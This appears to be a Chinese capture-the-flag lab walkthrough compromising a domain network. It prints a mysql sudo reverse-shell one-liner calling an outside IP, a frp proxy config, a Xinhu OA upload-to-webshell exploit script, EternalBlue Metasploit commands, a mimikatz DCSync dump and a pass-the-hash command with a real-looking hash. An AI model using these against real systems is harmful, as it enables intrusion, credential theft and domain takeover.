Initial
先fscan扫描发现thinkphp5.0.23

工具上马

蚁剑连上shell之后发现低权限啥也干不了
sudo -l发现mysql是root权限的,去GTFObins找提权命令,反弹shell
1
| sudo mysql -e '\! rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 47.122.53.248 2333 >/tmp/f'
|
弹shell完在root下就有flag01.txt
然后进一步内网探测,上传fscan,但是我蚁剑抽风了,从vps上wget我的fscan进行扫描,这里ifconfig查看ip为
fscan扫描
1
| ./fscan -h 172.22.1.0/24
|

总结一下信息
1
2
3
| 172.22.1.2:DC域控
172.22.1.21:Windows的机器并且存在MS17-010 漏洞
172.22.1.18:信呼OA办公系统
|
先看这个信呼,这里需要内网穿透,进行代理,这里用frp+proxifier进行代理

新版的frp从ini改成toml了,其实用法差不多
配个frpc.toml,这里用socks5代理
1
2
3
4
5
6
7
8
9
| serverAddr = "47.122.53.248"
serverPort = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 7890
[proxies.plugin]
type = "socks5"
|
然后frpc和对应的toml传靶机上,这里还是古法wget,然后我们vps放frps和对应toml
vps启动后,再去靶机启动
连接建立好后,我们本机的proxifier配置代理服务器


然后浏览器能正常访问172.22.1.18就成功了,这里版本是v2.2.8是有poc的,直接拿来打,默认密码admin/admin123改一下,注意这里脚本也要配代理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| import requests
session = requests.session()
session.proxies = {
"http": "socks5h://47.122.53.248:7890",
"https": "socks5h://47.122.53.248:7890"
}
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir")
print(r.text)
print(filepath)
|
然后1.php的内容也是一句话木马

蚁剑连接,这里蚁剑也要配代理

连接上

system权限查找flag2

这里提示要攻击DC,我们先去把剩下的172.22.1.21打了
前面扫出来MS17-010永恒之蓝漏洞,这里用kali打吧,自带msf,还是要先配代理
1
| vim /etc/proxychains4.conf
|
配上之后启动msf

用第一个
1
2
3
4
5
| proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
|

打成功了,mimikatz收集域内hash
1
2
| load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
|
dump出域内所有的hash

直接用Administrator的hash,这里用crackmapexec调用命令拿flag
1
| proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
|
